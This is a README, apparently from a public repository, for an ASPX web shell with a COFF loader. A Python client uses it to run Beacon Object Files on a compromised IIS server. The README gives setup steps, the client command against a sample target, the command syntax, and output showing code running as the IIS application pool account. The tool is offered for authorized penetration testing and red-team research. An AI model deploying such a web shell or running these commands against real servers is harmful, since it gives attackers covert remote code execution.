epotseluevskaya/aspx_webshell_coffloader带有COFF加载器的ASPX Web Shell，通过半交互式Python客户端在目标服务器上执行Beacon对象文件（BOFs），专为授权的渗透测试而设计。
基于TrustedSec的CS_COFFLoader
此ASPX Web Shell支持通过半交互式Python客户端在目标服务器上执行Beacon Object Files (BOFs)。
它利用了源自TrustedSec的CS_COFFLoader的COFF加载器实现。
此项目严格用于安全研究和授权渗透测试。使用本项目即表示您同意遵守所有适用法律法规。
使用前，您需要：
从 https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object 编译 beacon_compatibility.c，并将ASPX文件中的 {{BEACON_DATA}} 占位符替换为Base64编码的对象文件。
编译您的BOF（例如从 https://github.com/trustedsec/CS-Situational-Awareness-BOF），并在Web客户端中指定已编译BOF的目录路径。
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....